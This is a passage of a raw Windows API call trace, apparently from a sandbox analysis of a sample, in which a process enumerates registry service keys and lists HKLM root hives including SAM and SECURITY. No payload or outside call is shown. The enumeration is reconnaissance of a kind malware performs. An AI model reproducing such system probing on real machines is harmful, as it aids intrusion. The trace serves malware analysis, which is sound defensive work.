(in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0232.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.713] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0232.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0232.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0232.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0232.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0232.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0232.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0232.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0232.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0232.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0232.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0232.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0232.713] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0232.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0232.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0232.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0232.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0232.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0232.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0232.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0232.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0232.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0232.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0232.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0232.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0232.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0232.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0232.714] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0232.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0232.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0232.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0232.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0232.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0232.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0232.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0232.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0232.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0232.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0232.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0232.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0232.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0232.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0232.715] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0232.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0232.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0232.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0232.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0232.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0232.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0232.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0232.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0232.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0232.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0232.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0232.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0232.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0232.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0232.716] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0232.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0232.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0232.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0232.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0232.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0232.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0232.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0232.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0232.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0232.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0232.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0232.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0232.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0232.717] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0232.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0232.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0232.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0232.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0232.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0232.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0232.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0232.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0232.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0232.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0232.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0232.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0232.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0232.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0232.718] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0232.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0232.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0232.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0232.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0232.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0232.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0232.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0232.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0232.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0232.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0232.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0232.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0232.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0232.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0232.719] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0232.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0232.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0232.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0232.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0232.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0232.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0232.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0232.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0232.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0232.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0232.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0232.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0232.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0232.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0232.720] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0232.721] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0232.721] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0232.721] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0232.721] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0232.721] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0232.721] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0232.721] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0232.721] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0232.721] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0232.721] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0232.721] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0232.721] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0232.721] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0232.721] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0232.721] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0232.722] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0232.722] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0232.722] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0232.722] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0232.722] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0232.722] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0232.722] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0232.722] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0232.722] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0232.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0232.722] RegCloseKey (hKey=0x148) returned 0x0 [0232.722] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0232.722] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0232.722] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0232.722] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0232.723] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0232.723] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0232.723] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0232.723] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0232.723] RegCloseKey (hKey=0x80000002) returned 0x0 [0232.723] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0232.723] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0232.723] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0232.723] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0232.723] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0232.723] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0232.723] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0232.723] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0232.723] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0232.724] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.724] RegCloseKey (hKey=0x14c) returned 0x0 [0232.724] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0232.724] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0232.724] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0232.724] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0232.724] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0232.724] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0232.724] RegCloseKey (hKey=0x148) returned 0x0 [0232.724] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0232.724] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0232.724] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0232.724] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0232.724] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0232.724] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0232.725] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0232.725] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0232.725] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0232.725] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.725] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.725] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.725] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.725] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.726] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, 